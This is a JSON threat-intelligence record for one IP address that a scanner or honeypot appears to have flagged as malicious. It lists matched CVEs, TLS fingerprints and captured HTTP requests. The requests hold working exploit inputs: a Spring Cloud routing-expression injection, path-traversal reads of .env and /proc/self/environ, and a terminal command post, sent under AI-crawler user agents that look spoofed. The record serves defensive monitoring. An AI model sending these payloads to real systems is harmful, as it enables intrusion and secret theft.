{"ip":"136.90.54.131","total_events":411,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"63 exploit-path hits","confidence":"high","network_type":null,"why":["63 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 5,464,612 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"5,464,612 bytes sent","bytes_sent":5464612,"session_seconds":15,"persistent":false}},"first_seen":"2026-09-24T04:57:25","last_seen":"2026-09-24T04:57:40","events_24h":411,"events_7d":411,"geo":{"country_code":"US","country_name":"United States","region":"District of Columbia","city":"Washington","lat":38.894,"lon":-77.0365,"asn":396982,"org":"Google LLC"},"source_domain":"131.54.90.136.bc.googleusercontent.com","known_scanners":[],"scanner_tag":{"key":"gcp","label":"Google Cloud","category":"hosting_provider","url":"https://cloud.google.com/"},"cve_matches":[{"cve_id":"CVE-2022-22963","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter"},{"cve_id":"CVE-2021-43798","title":"Grafana v8.x - Arbitrary File Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins"},{"cve_id":"CVE-2026-50160","title":"Hoppscotch <= 2026.4.1 - Mass Assignment JWT_SECRET Overwrite","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/v1/onboarding/config"},{"cve_id":"CVE-2026-85688","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content"},{"cve_id":"CVE-2026-23536","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document"},{"cve_id":"CVE-2024-56159","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map"}],"malware":[],"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":411}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1516h2_8daaf6152771_d8a2da3f94cd"],"tls_client_hello":"1603010701010006fd03038224583ee13436e61008c269ae3f0f682f58851714ba7459aff89565e7c56a2120c70ca7ee09cbe6db2e033defe0c9a4cbbfda0e04c4fe38f8f358c9753d2e6e0e00203a3a130113021303c02bc02fc02cc030cca9cca8c013c014009c009d002f0035010006944a4a00000010000e000c02683208687474702f312e3100170000002d00020101000d0012001004030804040105030805050108060601003304ef04ed7a7a00010011ec04c02ee5181425b2e0a71d4b03cca3803c3123454a558cd70921b9a05b4391b2f63532b3704c14dcba6e0b2762f96d22562ae98c6741f1bd01553ae525a8e2413d7a718abd16926ee1a3c7543653cbab1c676c4309b2c2524407170b30e1667dcb3c1a0b2117b801c2720503d1458b426eda6451fb2c08290b97a71b7088f6669d646f53795f76780038d387724c17504213957750e825839e6b556a27ca51e12e47874659936a3f346c643965c5ecb8b0d58d6f6b4c3a707624e41a2729366f97b39ef1cf70f8b077478d8f360e6db81b40c16a17b81e6a4378006785ac211df800b2a097414df93e21d486f25c358731c97cb9c18247cf59877d782a8136345544c549fe69c4831ca62e864ed0c01885f98453f376e0a0324a90c5d5db4c7d40855135443c901b92289ab1ac8e8e9866e87c1bb9b08da8a0c4cf198fa8fa5bb5323a46077ee4b65917fa76e9553b5a4647ab8127afd24c3d568db537a5ea97671e9778c4f00d5a198c9d887158d6cd4c05c113e76af10c232226cc1b445da233158c5111a210640ca7778e083681111dd75b7d228907babc373f7b4d5879223e634c47539da39547d0120c6e200a4d1118d6376e8828ca6d0b1b39f010e1c4b50cbb9be32335e0f8bcdd683746a846a05414e8b0b6ae948a0c39c8fdf905279c2f60b818f1b80c5ecbb6f2d53b796b9f02040d632a48d4891cd44c5f1be134ebe32f6f7487b2393074dacdd942751868776821042efb8684a5518748850cb33b019122b52289adc27ce6407d7c268ff56bba0e778b59eb8025b7a6f78790d75648652a7bda38b1cb8c0750e929eb4bb75d391d3047aeffe569f07a11ce28758d655995ec636c939ad041b3a8c3bbf57c8a64266f5ac023080b3b48a82f39170d2f86757cd9ac83e89c92b7a33d774faa4a58a426530a557748e7711642cc0dacc96aaa5f27c6a8ed786f14a5283c1b05cb783743a74e6876b0a3a1bbce555e5e1423f414c32aea423bfb2563ebb847416e0ba2882bb99907b17c731a6c76c98d47296209d0bb0b3a01b5952cedf33ba22b9520755a056346798381d04420555ccbf6e841bc317865b9abf7a482e8c593996b50ce126acf51120b84b533d8434a348123cc6ae7000666a145a24a3fa81a65fe4800d8756f962636e3fc2380d9aa894695d673476e26150597c016b4910397ac0f062e6d9a97c0671480d2b6f9f89e692b4125e3065f8a7cfce485b7856b7224202595c070ea25b4e802ba98413f593666d5183cc6abe02763a3b33d20a434fd74ab32d3aff90322c427ce2faa6449aba0488433eafb15914b43849c2b43f8ae24fc777dac9d1b573c6c51c4f8d776bca5c2dc484f6777ceccfc9a36f9014d2ac9b4004d2de57870964fa04081250a604e08210043318c5bc4a848937e12802559cb08e399b7a4cfe2a061d9f72acfc06ae9a29a22fc4f60d0201c221d4caa6556973081e02064d0aa190162036abd81c29b857b5b3e3c618e8373f1fc35a7bb1d4e4a9d0ec9c4a1b9872ac46ba963685f961f00e7c490f5864c385d70a770db74b673845e67b185479539f055a02d14b52c5237b2e39a22683cc38385f4a1bfd303c44459335527194a1227fd60abdc7e03365e6fea4af6dd31474c0fca085927a002785a53d966db60e836b235316787d0387b2b036a9ca6a4dd275bd41e53b1e8ff0005e360685fba85d4d7574a001d0020c225c80cf4eae2941b909580fa033906cb6b5e1bfb35be4d72cc4ddc8839233600230000000b00020100002b0007060a0a030403030005000501000000000000001d001b0000187069686f6c652e6368696361676f2e76706e69676f2e646500120000001b0003020002ff01000100000a000c000a7a7a11ec001d0017001844cd00050003026832fe0d00fa0000010001580020cf8a9976aca59c121291f5ca611d7eb5c3f94c280b16520215c045486ae77b5100d072ef4a398a258262ceeeedffa777c297d87f6129a66365061c78e3f97801e106dc7456c30ff33943485e0b125b29dea6cbc60ca42674fe1925a704a436044fb069d9daed15bc0b0e7c647afc9e15de7be9596474338fcb16eafb0c59cf378cf988f2beea46fc347f3fff06a01eba0ddc167f5eafe5e66ce94629a6d84b54522885d642a65d76576dffa0954d7112f5a38506ab51a7b530beb1b651b357e3addd148b2d11f670fa273eaeb95f57e82cc77764a090e1d28192bbd79836e198aff51ef474dcaac6d371ca77b4f233e444852a2a0001","tls_ja3":["9c25ed53447b15deb6705e537cd56a26","6dbc0cbaf3ba53df6b446df5fdb4fce0","31ce77fd852bd5a9c3d773cff8e02566","b7425d3902da0f0a146f66a7d543c8d7","656f4461b77b9dc10465243fee18ff46"],"http_akin":["a11cuq150_045c6e5d_efd6a5d2","a11cun062_0000004d_84d4cebf","a11cuq082_0000064d_8184102b","a11cun163_001ce87d_62d94f65","a11cuq050_0000064c_107c8b82"]},"fingerprint_peers":{"t13d1516h2_8daaf6152771_d8a2da3f94cd":2,"a11cuq150_045c6e5d_efd6a5d2":1,"a11cun062_0000004d_84d4cebf":1,"a11cuq082_0000064d_8184102b":1,"a11cun163_001ce87d_62d94f65":1,"a11cuq050_0000064c_107c8b82":6},"akin_families":{},"user_agents":["Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot","Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)","Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)","Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36 Edg/153.0.0.0","Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)","CCBot/2.0 (https://commoncrawl.org/faq/)"],"timeline":[{"date":"2026-09-24","count":411}],"recent_events":[{"timestamp":"2026-09-24T04:57:40","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"4\",\"content-type\":\"text/plain\",\"host\":\"pihole.chicago.vpnigo.de\",\"spring.cloud.function.routing-expression\":\"T(java.lang.System).getenv()\",\"user-agent\":\"Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)\"}","body":"test","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/functionRouter","summary":"","payload_hex":"504f5354202f66756e6374696f6e526f7574657220485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d69737472616c41492d557365722f312e303b202b68747470733a2f2f6d69737472616c2e61692f290d0a436f6e74656e742d4c656e6774683a20340d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a537072696e672e636c6f75642e66756e6374696f6e2e726f7574696e672d45787072657373696f6e3a2054286a6176612e6c616e672e53797374656d292e676574656e7628290d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a74657374","method":"POST","user_agent":"Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)","ja3":"b7425d3902da0f0a146f66a7d543c8d7","session":"aa6da7e6-a59d-4db4-af5b-980efe4be885","seq":18,"duration_ms":15460,"bytes_in":6945,"bytes_out":1404},{"timestamp":"2026-09-24T04:57:40","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"35\",\"content-type\":\"application/json\",\"host\":\"pihole.chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot\"}","body":"{\"templateFile\":\"../../../../.env\"}","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/templates/preview","summary":"","payload_hex":"504f5354202f6170692f74656d706c617465732f7072657669657720485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b20436861744750542d557365722f312e303b202b68747470733a2f2f6f70656e61692e636f6d2f626f740d0a436f6e74656e742d4c656e6774683a2033350d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2274656d706c61746546696c65223a222e2e2f2e2e2f2e2e2f2e2e2f2e656e76227d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot","ja3":"b7425d3902da0f0a146f66a7d543c8d7","session":"aa6da7e6-a59d-4db4-af5b-980efe4be885","seq":17,"duration_ms":15294,"bytes_in":6656,"bytes_out":1326},{"timestamp":"2026-09-24T04:57:40","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"48\",\"content-type\":\"application/json\",\"host\":\"pihole.chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)\"}","body":"{\"templateFile\":\"../../../../proc/self/environ\"}","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/templates/preview","summary":"","payload_hex":"504f5354202f6170692f74656d706c617465732f7072657669657720485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20446565705365656b426f742f312e303b202b68747470733a2f2f7777772e646565707365656b2e636f6d2f290d0a436f6e74656e742d4c656e6774683a2034380d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2274656d706c61746546696c65223a222e2e2f2e2e2f2e2e2f2e2e2f70726f632f73656c662f656e7669726f6e227d","method":"POST","user_agent":"Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)","ja3":"b7425d3902da0f0a146f66a7d543c8d7","session":"aa6da7e6-a59d-4db4-af5b-980efe4be885","seq":16,"duration_ms":15127,"bytes_in":6355,"bytes_out":1248},{"timestamp":"2026-09-24T04:57:39","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"34\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"pihole.chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)\"}","body":"command=env&password=bypass&csrf=x","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/icecoder/lib/terminal-xhr.php","summary":"","payload_hex":"504f5354202f696365636f6465722f6c69622f7465726d696e616c2d7868722e70687020485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b207841492d47726f6b2f312e303b202b68747470733a2f2f782e61692f290d0a436f6e74656e742d4c656e6774683a2033340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a636f6d6d616e643d656e762670617373776f72643d62797061737326637372663d78","method":"POST","user_agent":"Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)","ja3":"b7425d3902da0f0a146f66a7d543c8d7","session":"aa6da7e6-a59d-4db4-af5b-980efe4be885","seq":15,"duration_ms":14915,"bytes_in":6077,"bytes_out":1170},{"timestamp":"2026-09-24T04:57:39","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"34\",\"content-type\":\"application/json\",\"host\":\"pihole.chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)\"}","body":"{\"file_path\":\"/proc/self/environ\"}","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/designer/v1/file-content","summary":"","payload_hex":"504f5354202f6170692f64657369676e65722f76312f66696c652d636f6e74656e7420485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20636f686572652d61693b202b68747470733a2f2f636f686572652e636f6d2f637261776c6572290d0a436f6e74656e742d4c656e6774683a2033340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c655f70617468223a222f70726f632f73656c662f656e7669726f6e227d","method":"POST","user_agent":"Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)","ja3":"b7425d3902da0f0a146f66a7d543c8d7","session":"aa6da7e6-a59d-4db4-af5b-980efe4be885","seq":12,"duration_ms":14141,"bytes_in":5286,"bytes_out":936},{"timestamp":"2026-09-24T04:57:39","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"20\",\"content-type\":\"application/json\",\"host\":\"pihole.chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)\"}","body":"{\"file_path\":\".env\"}","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/designer/v1/file-content","summary":"","payload_hex":"504f5354202f6170692f64657369676e65722f76312f66696c652d636f6e74656e7420485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20596f75426f742f312e303b202b68747470733a2f2f796f752e636f6d2f626f74290d0a436f6e74656e742d4c656e6774683a2032300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c655f70617468223a222e656e76227d","method":"POST","user_agent":"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)","ja3":"b7425d3902da0f0a146f66a7d543c8d7","session":"aa6da7e6-a59d-4db4-af5b-980efe4be885","seq":13,"duration_ms":14283,"bytes_in":5532,"bytes_out":1014},{"timestamp":"2026-09-24T04:57:39","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"34\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"pihole.chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)\"}","body":"command=env&password=bypass&csrf=x","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/lib/terminal-xhr.php","summary":"","payload_hex":"504f5354202f6c69622f7465726d696e616c2d7868722e70687020485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6f6f6e73686f74426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a436f6e74656e742d4c656e6774683a2033340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a636f6d6d616e643d656e762670617373776f72643d62797061737326637372663d78","method":"POST","user_agent":"Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)","ja3":"b7425d3902da0f0a146f66a7d543c8d7","session":"aa6da7e6-a59d-4db4-af5b-980efe4be885","seq":14,"duration_ms":14532,"bytes_in":5803,"bytes_out":1092},{"timestamp":"2026-09-24T04:57:38","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"34\",\"content-type\":\"application/json\",\"host\":\"pihole.chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)\"}","body":"{\"file_path\":\"/proc/self/environ\"}","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/read-document","summary":"","payload_hex":"504f5354202f726561642d646f63756d656e7420485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d69737472616c41492d557365722f312e303b202b68747470733a2f2f6d69737472616c2e61692f290d0a436f6e74656e742d4c656e6774683a2033340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c655f70617468223a222f70726f632f73656c662f656e7669726f6e227d","method":"POST","user_agent":"Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)","ja3":"b7425d3902da0f0a146f66a7d543c8d7","session":"aa6da7e6-a59d-4db4-af5b-980efe4be885","seq":9,"duration_ms":13634,"bytes_in":4328,"bytes_out":702},{"timestamp":"2026-09-24T04:57:38","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"20\",\"content-type\":\"application/json\",\"host\":\"pihole.chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot\"}","body":"{\"file_path\":\".env\"}","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/read-document","summary":"","payload_hex":"504f5354202f726561642d646f63756d656e7420485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b20475054426f742f312e343b202b68747470733a2f2f6f70656e61692e636f6d2f677074626f740d0a436f6e74656e742d4c656e6774683a2032300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c655f70617468223a222e656e76227d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot","ja3":"b7425d3902da0f0a146f66a7d543c8d7","session":"aa6da7e6-a59d-4db4-af5b-980efe4be885","seq":10,"duration_ms":13820,"bytes_in":4603,"bytes_out":780},{"timestamp":"2026-09-24T04:57:38","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"host\":\"pihole.chicago.vpnigo.de\",\"user-agent\":\"CCBot/2.0 (https://commoncrawl.org/faq/)\"}","body":"","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/inngest","summary":"","payload_hex":"44454c455445202f696e6e6765737420485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204343426f742f322e30202868747470733a2f2f636f6d6d6f6e637261776c2e6f72672f6661712f290d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"DELETE","user_agent":"CCBot/2.0 (https://commoncrawl.org/faq/)","ja3":"b7425d3902da0f0a146f66a7d543c8d7","session":"aa6da7e6-a59d-4db4-af5b-980efe4be885","seq":8,"duration_ms":13487,"bytes_in":4075,"bytes_out":624}],"http_methods":[{"method":"GET","count":392},{"method":"POST","count":17},{"method":"DELETE","count":2}],"distinct_ports_total":1,"top_paths":[{"path":"/graphql","count":2,"ports":1},{"path":"/openapi.json","count":2,"ports":1},{"path":"/actuator/mappings","count":2,"ports":1},{"path":"/actuator/loggers","count":2,"ports":1},{"path":"/v1/graphql","count":2,"ports":1},{"path":"/api/graphql","count":2,"ports":1},{"path":"/","count":2,"ports":1},{"path":"/actuator/configprops","count":2,"ports":1},{"path":"/api/config","count":2,"ports":1},{"path":"/api/templates/preview","count":2,"ports":1},{"path":"/read-document","count":2,"ports":1},{"path":"/_debugbar/open","count":2,"ports":1},{"path":"/telescope/requests","count":2,"ports":1},{"path":"/_ignition/health-check","count":2,"ports":1},{"path":"/api/designer/v1/file-content","count":2,"ports":1}],"distinct_paths_total":200,"top_snis":[{"value":"pihole.chicago.vpnigo.de","count":411}],"top_hosts":[{"value":"pihole.chicago.vpnigo.de","count":411}],"top_alpns":[{"value":"h2, http/1.1","count":411}],"banners":[],"credentials":[{"username":"","password":"bypass","count":2}],"header_profile":{"signature":["Accept-Encoding","Content-Length","Content-Type","Host","Spring.cloud.function.routing-Expression","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Content-Length","value":"4","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"pihole.chicago.vpnigo.de","notable":false},{"name":"Spring.cloud.function.routing-Expression","value":"T(java.lang.System).getenv()","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)","notable":false}],"distinct_sets":3,"events_with_headers":10},"tags":[{"tag_id":"CVE-2022-22963","tag_type":"cve","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter","reference_urls":["https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f","https://github.com/cckuailong/spring-cloud-function-SpEL-RCE","https://tanzu.vmware.com/security/cve-2022-22963","https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/","https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection"]},{"tag_id":"CVE-2021-43798","tag_type":"cve","title":"Grafana v8.x - Arbitrary File Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins","reference_urls":["https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p","https://nosec.org/home/detail/4914.html","https://github.com/jas502n/Grafana-VulnTips","https://nvd.nist.gov/vuln/detail/CVE-2021-43798","http://packetstormsecurity.com/files/165198/Grafana-Arbitrary-File-Reading.html"]},{"tag_id":"CVE-2026-50160","tag_type":"cve","title":"Hoppscotch <= 2026.4.1 - Mass Assignment JWT_SECRET Overwrite","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/v1/onboarding/config","reference_urls":["https://github.com/hoppscotch/hoppscotch/security/advisories/GHSA-j542-4rch-8hwf","https://nvd.nist.gov/vuln/detail/CVE-2026-50160","https://github.com/hoppscotch/hoppscotch/pull/6171"]},{"tag_id":"CVE-2026-85688","tag_type":"cve","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content","reference_urls":["https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer","https://github.com/TEN-framework/ten-framework/issues/2187","https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs","https://nvd.nist.gov/vuln/detail/CVE-2026-85688"]},{"tag_id":"CVE-2026-23536","tag_type":"cve","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document","reference_urls":["https://access.redhat.com/security/cve/CVE-2026-23536","https://bugzilla.redhat.com/show_bug.cgi?id=2429302","https://github.com/feast-dev/feast","https://nvd.nist.gov/vuln/detail/CVE-2026-23536"]},{"tag_id":"CVE-2024-56159","tag_type":"cve","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map","reference_urls":["https://github.com/withastro/astro/security/advisories/GHSA-49w6-73cw-chjr","https://nvd.nist.gov/vuln/detail/CVE-2024-56159"]}],"data_as_of":"2026-09-24T10:59:44.393110+00:00"}